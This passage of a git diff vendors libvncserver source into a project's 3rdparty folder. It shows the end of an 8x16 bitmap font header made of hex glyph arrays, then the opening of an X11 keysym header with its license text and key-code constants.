+0x18,0x30,0x60,0x00,0xfe,0x66,0x60,0x7c,0x60,0x60,0x66,0xfe,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x6e,0x3b,0x1b,0x7e,0xd8,0xdc,0x77,0x00,0x00,0x00,0x00, +0x00,0x00,0x3e,0x6c,0xcc,0xcc,0xfe,0xcc,0xcc,0xcc,0xcc,0xce,0x00,0x00,0x00,0x00, +0x00,0x10,0x38,0x6c,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, +0x00,0x00,0xc6,0x00,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, +0x00,0x60,0x30,0x18,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, +0x00,0x30,0x78,0xcc,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, +0x00,0x60,0x30,0x18,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, +0x00,0x00,0xc6,0x00,0x00,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0x7e,0x06,0x0c,0x78,0x00, +0x00,0xc6,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, +0x00,0xc6,0x00,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, +0x00,0x18,0x18,0x7e,0xc3,0xc0,0xc0,0xc0,0xc3,0x7e,0x18,0x18,0x00,0x00,0x00,0x00, +0x00,0x38,0x6c,0x64,0x60,0xf0,0x60,0x60,0x60,0x60,0xe6,0xfc,0x00,0x00,0x00,0x00, +0x00,0x00,0xc3,0x66,0x3c,0x18,0xff,0x18,0xff,0x18,0x18,0x18,0x00,0x00,0x00,0x00, +0x00,0xfc,0x66,0x66,0x7c,0x62,0x66,0x6f,0x66,0x66,0x66,0xf3,0x00,0x00,0x00,0x00, +0x00,0x0e,0x1b,0x18,0x18,0x18,0x7e,0x18,0x18,0x18,0x18,0x18,0xd8,0x70,0x00,0x00, +0x00,0x18,0x30,0x60,0x00,0x78,0x0c,0x7c,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, +0x00,0x0c,0x18,0x30,0x00,0x38,0x18,0x18,0x18,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, +0x00,0x18,0x30,0x60,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, +0x00,0x18,0x30,0x60,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, +0x00,0x00,0x76,0xdc,0x00,0xdc,0x66,0x66,0x66,0x66,0x66,0x66,0x00,0x00,0x00,0x00, +0x76,0xdc,0x00,0xc6,0xe6,0xf6,0xfe,0xde,0xce,0xc6,0xc6,0xc6,0x00,0x00,0x00,0x00, +0x00,0x3c,0x6c,0x6c,0x3e,0x00,0x7e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x38,0x6c,0x6c,0x38,0x00,0x7c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x30,0x30,0x00,0x30,0x30,0x60,0xc0,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0xc0,0xc0,0xc0,0xc0,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0x06,0x06,0x06,0x06,0x00,0x00,0x00,0x00,0x00, +0x00,0xc0,0xc0,0xc2,0xc6,0xcc,0x18,0x30,0x60,0xce,0x9b,0x06,0x0c,0x1f,0x00,0x00, +0x00,0xc0,0xc0,0xc2,0xc6,0xcc,0x18,0x30,0x66,0xce,0x96,0x3e,0x06,0x06,0x00,0x00, +0x00,0x00,0x18,0x18,0x00,0x18,0x18,0x18,0x3c,0x3c,0x3c,0x18,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x36,0x6c,0xd8,0x6c,0x36,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0xd8,0x6c,0x36,0x6c,0xd8,0x00,0x00,0x00,0x00,0x00,0x00, +0x11,0x44,0x11,0x44,0x11,0x44,0x11,0x44,0x11,0x44,0x11,0x44,0x11,0x44,0x11,0x44, +0x55,0xaa,0x55,0xaa,0x55,0xaa,0x55,0xaa,0x55,0xaa,0x55,0xaa,0x55,0xaa,0x55,0xaa, +0xdd,0x77,0xdd,0x77,0xdd,0x77,0xdd,0x77,0xdd,0x77,0xdd,0x77,0xdd,0x77,0xdd,0x77, +0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, +0x18,0x18,0x18,0x18,0x18,0x18,0x18,0xf8,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, +0x18,0x18,0x18,0x18,0x18,0xf8,0x18,0xf8,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, +0x36,0x36,0x36,0x36,0x36,0x36,0x36,0xf6,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, +0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, +0x00,0x00,0x00,0x00,0x00,0xf8,0x18,0xf8,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, +0x36,0x36,0x36,0x36,0x36,0xf6,0x06,0xf6,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, +0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, +0x00,0x00,0x00,0x00,0x00,0xfe,0x06,0xf6,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, +0x36,0x36,0x36,0x36,0x36,0xf6,0x06,0xfe,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x36,0x36,0x36,0x36,0x36,0x36,0x36,0xfe,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x18,0x18,0x18,0x18,0x18,0xf8,0x18,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, +0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x18,0x18,0x18,0x18,0x18,0x18,0x18,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, +0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x1f,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, +0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x18,0x18,0x18,0x18,0x18,0x18,0x18,0xff,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, +0x18,0x18,0x18,0x18,0x18,0x1f,0x18,0x1f,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, +0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x37,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, +0x36,0x36,0x36,0x36,0x36,0x37,0x30,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x3f,0x30,0x37,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, +0x36,0x36,0x36,0x36,0x36,0xf7,0x00,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0xff,0x00,0xf7,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, +0x36,0x36,0x36,0x36,0x36,0x37,0x30,0x37,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, +0x00,0x00,0x00,0x00,0x00,0xff,0x00,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x36,0x36,0x36,0x36,0x36,0xf7,0x00,0xf7,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, +0x18,0x18,0x18,0x18,0x18,0xff,0x00,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x36,0x36,0x36,0x36,0x36,0x36,0x36,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0xff,0x00,0xff,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, +0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, +0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x18,0x18,0x18,0x18,0x18,0x1f,0x18,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x1f,0x18,0x1f,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, +0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, +0x36,0x36,0x36,0x36,0x36,0x36,0x36,0xff,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, +0x18,0x18,0x18,0x18,0x18,0xff,0x18,0xff,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, +0x18,0x18,0x18,0x18,0x18,0x18,0x18,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, +0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, +0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, +0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0, +0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f, +0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x76,0xdc,0xd8,0xd8,0xd8,0xdc,0x76,0x00,0x00,0x00,0x00, +0x00,0x00,0x78,0xcc,0xcc,0xcc,0xd8,0xcc,0xc6,0xc6,0xc6,0xcc,0x00,0x00,0x00,0x00, +0x00,0x00,0xfe,0xc6,0xc6,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0xfe,0x6c,0x6c,0x6c,0x6c,0x6c,0x6c,0x6c,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0xfe,0xc6,0x60,0x30,0x18,0x30,0x60,0xc6,0xfe,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x7e,0xd8,0xd8,0xd8,0xd8,0xd8,0x70,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x66,0x66,0x66,0x66,0x66,0x7c,0x60,0x60,0xc0,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x76,0xdc,0x18,0x18,0x18,0x18,0x18,0x18,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x7e,0x18,0x3c,0x66,0x66,0x66,0x3c,0x18,0x7e,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x38,0x6c,0xc6,0xc6,0xfe,0xc6,0xc6,0x6c,0x38,0x00,0x00,0x00,0x00, +0x00,0x00,0x38,0x6c,0xc6,0xc6,0xc6,0x6c,0x6c,0x6c,0x6c,0xee,0x00,0x00,0x00,0x00, +0x00,0x00,0x1e,0x30,0x18,0x0c,0x3e,0x66,0x66,0x66,0x66,0x3c,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x7e,0xdb,0xdb,0xdb,0x7e,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x03,0x06,0x7e,0xdb,0xdb,0xf3,0x7e,0x60,0xc0,0x00,0x00,0x00,0x00, +0x00,0x00,0x1c,0x30,0x60,0x60,0x7c,0x60,0x60,0x60,0x30,0x1c,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0xfe,0x00,0x00,0xfe,0x00,0x00,0xfe,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x18,0x18,0x7e,0x18,0x18,0x00,0x00,0xff,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x30,0x18,0x0c,0x06,0x0c,0x18,0x30,0x00,0x7e,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x0c,0x18,0x30,0x60,0x30,0x18,0x0c,0x00,0x7e,0x00,0x00,0x00,0x00, +0x00,0x00,0x0e,0x1b,0x1b,0x1b,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, +0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0xd8,0xd8,0xd8,0x70,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x18,0x18,0x00,0x7e,0x00,0x18,0x18,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x76,0xdc,0x00,0x76,0xdc,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x38,0x6c,0x6c,0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x18,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x0f,0x0c,0x0c,0x0c,0x0c,0x0c,0xec,0x6c,0x6c,0x3c,0x1c,0x00,0x00,0x00,0x00, +0x00,0xd8,0x6c,0x6c,0x6c,0x6c,0x6c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x70,0xd8,0x30,0x60,0xc8,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +}; +static int default8x16FontMetaData[256*5+1]={ +0,8,16,0,0,16,8,16,0,0,32,8,16,0,0,48,8,16,0,0,64,8,16,0,0,80,8,16,0,0,96,8,16,0,0,112,8,16,0,0,128,8,16,0,0,144,8,16,0,0,160,8,16,0,0,176,8,16,0,0,192,8,16,0,0,208,8,16,0,0,224,8,16,0,0,240,8,16,0,0,256,8,16,0,0,272,8,16,0,0,288,8,16,0,0,304,8,16,0,0,320,8,16,0,0,336,8,16,0,0,352,8,16,0,0,368,8,16,0,0,384,8,16,0,0,400,8,16,0,0,416,8,16,0,0,432,8,16,0,0,448,8,16,0,0,464,8,16,0,0,480,8,16,0,0,496,8,16,0,0,512,8,16,0,0,528,8,16,0,0,544,8,16,0,0,560,8,16,0,0,576,8,16,0,0,592,8,16,0,0,608,8,16,0,0,624,8,16,0,0,640,8,16,0,0,656,8,16,0,0,672,8,16,0,0,688,8,16,0,0,704,8,16,0,0,720,8,16,0,0,736,8,16,0,0,752,8,16,0,0,768,8,16,0,0,784,8,16,0,0,800,8,16,0,0,816,8,16,0,0,832,8,16,0,0,848,8,16,0,0,864,8,16,0,0,880,8,16,0,0,896,8,16,0,0,912,8,16,0,0,928,8,16,0,0,944,8,16,0,0,960,8,16,0,0,976,8,16,0,0,992,8,16,0,0,1008,8,16,0,0,1024,8,16,0,0,1040,8,16,0,0,1056,8,16,0,0,1072,8,16,0,0,1088,8,16,0,0,1104,8,16,0,0,1120,8,16,0,0,1136,8,16,0,0,1152,8,16,0,0,1168,8,16,0,0,1184,8,16,0,0,1200,8,16,0,0,1216,8,16,0,0,1232,8,16,0,0,1248,8,16,0,0,1264,8,16,0,0,1280,8,16,0,0,1296,8,16,0,0,1312,8,16,0,0,1328,8,16,0,0,1344,8,16,0,0,1360,8,16,0,0,1376,8,16,0,0,1392,8,16,0,0,1408,8,16,0,0,1424,8,16,0,0,1440,8,16,0,0,1456,8,16,0,0,1472,8,16,0,0,1488,8,16,0,0,1504,8,16,0,0,1520,8,16,0,0,1536,8,16,0,0,1552,8,16,0,0,1568,8,16,0,0,1584,8,16,0,0,1600,8,16,0,0,1616,8,16,0,0,1632,8,16,0,0,1648,8,16,0,0,1664,8,16,0,0,1680,8,16,0,0,1696,8,16,0,0,1712,8,16,0,0,1728,8,16,0,0,1744,8,16,0,0,1760,8,16,0,0,1776,8,16,0,0,1792,8,16,0,0,1808,8,16,0,0,1824,8,16,0,0,1840,8,16,0,0,1856,8,16,0,0,1872,8,16,0,0,1888,8,16,0,0,1904,8,16,0,0,1920,8,16,0,0,1936,8,16,0,0,1952,8,16,0,0,1968,8,16,0,0,1984,8,16,0,0,2000,8,16,0,0,2016,8,16,0,0,2032,8,16,0,0,2048,8,16,0,0,2064,8,16,0,0,2080,8,16,0,0,2096,8,16,0,0,2112,8,16,0,0,2128,8,16,0,0,2144,8,16,0,0,2160,8,16,0,0,2176,8,16,0,0,2192,8,16,0,0,2208,8,16,0,0,2224,8,16,0,0,2240,8,16,0,0,2256,8,16,0,0,2272,8,16,0,0,2288,8,16,0,0,2304,8,16,0,0,2320,8,16,0,0,2336,8,16,0,0,2352,8,16,0,0,2368,8,16,0,0,2384,8,16,0,0,2400,8,16,0,0,2416,8,16,0,0,2432,8,16,0,0,2448,8,16,0,0,2464,8,16,0,0,2480,8,16,0,0,2496,8,16,0,0,2512,8,16,0,0,2528,8,16,0,0,2544,8,16,0,0,2560,8,16,0,0,2576,8,16,0,0,2592,8,16,0,0,2608,8,16,0,0,2624,8,16,0,0,2640,8,16,0,0,2656,8,16,0,0,2672,8,16,0,0,2688,8,16,0,0,2704,8,16,0,0,2720,8,16,0,0,2736,8,16,0,0,2752,8,16,0,0,2768,8,16,0,0,2784,8,16,0,0,2800,8,16,0,0,2816,8,16,0,0,2832,8,16,0,0,2848,8,16,0,0,2864,8,16,0,0,2880,8,16,0,0,2896,8,16,0,0,2912,8,16,0,0,2928,8,16,0,0,2944,8,16,0,0,2960,8,16,0,0,2976,8,16,0,0,2992,8,16,0,0,3008,8,16,0,0,3024,8,16,0,0,3040,8,16,0,0,3056,8,16,0,0,3072,8,16,0,0,3088,8,16,0,0,3104,8,16,0,0,3120,8,16,0,0,3136,8,16,0,0,3152,8,16,0,0,3168,8,16,0,0,3184,8,16,0,0,3200,8,16,0,0,3216,8,16,0,0,3232,8,16,0,0,3248,8,16,0,0,3264,8,16,0,0,3280,8,16,0,0,3296,8,16,0,0,3312,8,16,0,0,3328,8,16,0,0,3344,8,16,0,0,3360,8,16,0,0,3376,8,16,0,0,3392,8,16,0,0,3408,8,16,0,0,3424,8,16,0,0,3440,8,16,0,0,3456,8,16,0,0,3472,8,16,0,0,3488,8,16,0,0,3504,8,16,0,0,3520,8,16,0,0,3536,8,16,0,0,3552,8,16,0,0,3568,8,16,0,0,3584,8,16,0,0,3600,8,16,0,0,3616,8,16,0,0,3632,8,16,0,0,3648,8,16,0,0,3664,8,16,0,0,3680,8,16,0,0,3696,8,16,0,0,3712,8,16,0,0,3728,8,16,0,0,3744,8,16,0,0,3760,8,16,0,0,3776,8,16,0,0,3792,8,16,0,0,3808,8,16,0,0,3824,8,16,0,0,3840,8,16,0,0,3856,8,16,0,0,3872,8,16,0,0,3888,8,16,0,0,3904,8,16,0,0,3920,8,16,0,0,3936,8,16,0,0,3952,8,16,0,0,3968,8,16,0,0,3984,8,16,0,0,4000,8,16,0,0,4016,8,16,0,0,4032,8,16,0,0,4048,8,16,0,0,4064,8,16,0,0,4080,8,16,0,0,}; +static rfbFontData default8x16Font = { default8x16FontData, default8x16FontMetaData }; + +#endif diff --git a/3rdparty/libvncserver/rfb/keysym.h b/3rdparty/libvncserver/rfb/keysym.h new file mode 100644 index 0000000..92d5158 --- /dev/null +++ b/3rdparty/libvncserver/rfb/keysym.h @@ -0,0 +1,1638 @@ +#ifndef XK_0 + +/* $XConsortium: keysym.h,v 1.15 94/04/17 20:10:55 rws Exp $ */ + +/*********************************************************** + +Copyright (c) 1987 X Consortium + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +X CONSORTIUM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN +AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN +CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +Except as contained in this notice, the name of the X Consortium shall not be +used in advertising or otherwise to promote the sale, use or other dealings +in this Software without prior written authorization from the X Consortium. + + +Copyright 1987 by Digital Equipment Corporation, Maynard, Massachusetts. + + All Rights Reserved + +Permission to use, copy, modify, and distribute this software and its +documentation for any purpose and without fee is hereby granted, +provided that the above copyright notice appear in all copies and that +both that copyright notice and this permission notice appear in +supporting documentation, and that the name of Digital not be +used in advertising or publicity pertaining to distribution of the +software without specific, written prior permission. + +DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING +ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL +DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR +ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, +WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, +ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS +SOFTWARE. + +******************************************************************/ + +/* default keysyms */ +#define XK_MISCELLANY +#define XK_XKB_KEYS +#define XK_LATIN1 +#define XK_LATIN2 +#define XK_LATIN3 +#define XK_LATIN4 +#define XK_GREEK + +/* $TOG: keysymdef.h /main/25 1997/06/21 10:54:51 kaleb $ */ + +/*********************************************************** +Copyright (c) 1987, 1994 X Consortium + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be included +in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS +OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. +IN NO EVENT SHALL THE X CONSORTIUM BE LIABLE FOR ANY CLAIM, DAMAGES OR +OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, +ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR +OTHER DEALINGS IN THE SOFTWARE. + +Except as contained in this notice, the name of the X Consortium shall +not be used in advertising or otherwise to promote the sale, use or +other dealings in this Software without prior written authorization +from the X Consortium. + + +Copyright 1987 by Digital Equipment Corporation, Maynard, Massachusetts + + All Rights Reserved + +Permission to use, copy, modify, and distribute this software and its +documentation for any purpose and without fee is hereby granted, +provided that the above copyright notice appear in all copies and that +both that copyright notice and this permission notice appear in +supporting documentation, and that the name of Digital not be +used in advertising or publicity pertaining to distribution of the +software without specific, written prior permission. + +DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING +ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL +DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR +ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, +WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, +ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS +SOFTWARE. + +******************************************************************/ + +#define XK_VoidSymbol 0xFFFFFF /* void symbol */ + +#ifdef XK_MISCELLANY +/* + * TTY Functions, cleverly chosen to map to ascii, for convenience of + * programming, but could have been arbitrary (at the cost of lookup + * tables in client code. + */ + +#define XK_BackSpace 0xFF08 /* back space, back char */ +#define XK_Tab 0xFF09 +#define XK_Linefeed 0xFF0A /* Linefeed, LF */ +#define XK_Clear 0xFF0B +#define XK_Return 0xFF0D /* Return, enter */ +#define XK_Pause 0xFF13 /* Pause, hold */ +#define XK_Scroll_Lock 0xFF14 +#define XK_Sys_Req 0xFF15 +#define XK_Escape 0xFF1B +#define XK_Delete 0xFFFF /* Delete, rubout */ + + + +/* International & multi-key character composition */ + +#define XK_Multi_key 0xFF20 /* Multi-key character compose */ +#define XK_SingleCandidate 0xFF3C +#define XK_MultipleCandidate 0xFF3D +#define XK_PreviousCandidate 0xFF3E + +/* Japanese keyboard support */ + +#define XK_Kanji 0xFF21 /* Kanji, Kanji convert */ +#define XK_Muhenkan 0xFF22 /* Cancel Conversion */ +#define XK_Henkan_Mode 0xFF23 /* Start/Stop Conversion */ +#define XK_Henkan 0xFF23 /* Alias for Henkan_Mode */ +#define XK_Romaji 0xFF24 /* to Romaji */ +#define XK_Hiragana 0xFF25 /* to Hiragana */ +#define XK_Katakana 0xFF26 /* to Katakana */ +#define XK_Hiragana_Katakana 0xFF27 /* Hiragana/Katakana toggle */ +#define XK_Zenkaku 0xFF28 /* to Zenkaku */ +#define XK_Hankaku 0xFF29 /* to Hankaku */ +#define XK_Zenkaku_Hankaku 0xFF2A /* Zenkaku/Hankaku toggle */ +#define XK_Touroku 0xFF2B /* Add to Dictionary */ +#define XK_Massyo 0xFF2C /* Delete from Dictionary */ +#define XK_Kana_Lock 0xFF2D /* Kana Lock */ +#define XK_Kana_Shift 0xFF2E /* Kana Shift */ +#define XK_Eisu_Shift 0xFF2F /* Alphanumeric Shift */ +#define XK_Eisu_toggle 0xFF30 /* Alphanumeric toggle */ +#define XK_Zen_Koho 0xFF3D /* Multiple/All Candidate(s) */ +#define XK_Mae_Koho 0xFF3E /* Previous Candidate */ + +/* 0xFF31 through 0xFF3F are under XK_KOREAN */ + +/* Cursor control & motion */ + +#define XK_Home 0xFF50 +#define XK_Left 0xFF51 /* Move left, left arrow */ +#define XK_Up 0xFF52 /* Move up, up arrow */ +#define XK_Right 0xFF53 /* Move right, right arrow */ +#define XK_Down 0xFF54 /* Move down, down arrow */ +#define XK_Prior 0xFF55 /* Prior, previous */ +#define XK_Page_Up 0xFF55 +#define XK_Next 0xFF56 /* Next */ +#define XK_Page_Down 0xFF56 +#define XK_End 0xFF57 /* EOL */ +#define XK_Begin 0xFF58 /* BOL */ + + +/* Misc Functions */ + +#define XK_Select 0xFF60 /* Select, mark */ +#define XK_Print 0xFF61 +#define XK_Execute 0xFF62 /* Execute, run, do */ +#define XK_Insert 0xFF63 /* Insert, insert here */ +#define XK_Undo 0xFF65 /* Undo, oops */ +#define XK_Redo 0xFF66 /* redo, again */ +#define XK_Menu 0xFF67 +#define XK_Find 0xFF68 /* Find, search */ +#define XK_Cancel 0xFF69 /* Cancel, stop, abort, exit */ +#define XK_Help 0xFF6A /* Help */ +#define XK_Break 0xFF6B +#define XK_Mode_switch 0xFF7E /* Character set switch */ +#define XK_script_switch 0xFF7E /* Alias for mode_switch */ +#define XK_Num_Lock 0xFF7F + +/* Keypad Functions, keypad numbers cleverly chosen to map to ascii */ + +#define XK_KP_Space 0xFF80 /* space */ +#define XK_KP_Tab 0xFF89 +#define XK_KP_Enter 0xFF8D /* enter */ +#define XK_KP_F1 0xFF91 /* PF1, KP_A, ... */ +#define XK_KP_F2 0xFF92 +#define XK_KP_F3 0xFF93 +#define XK_KP_F4 0xFF94 +#define XK_KP_Home 0xFF95 +#define XK_KP_Left 0xFF96 +#define XK_KP_Up 0xFF97 +#define XK_KP_Right 0xFF98 +#define XK_KP_Down 0xFF99 +#define XK_KP_Prior 0xFF9A +#define XK_KP_Page_Up 0xFF9A +#define XK_KP_Next 0xFF9B +#define XK_KP_Page_Down 0xFF9B 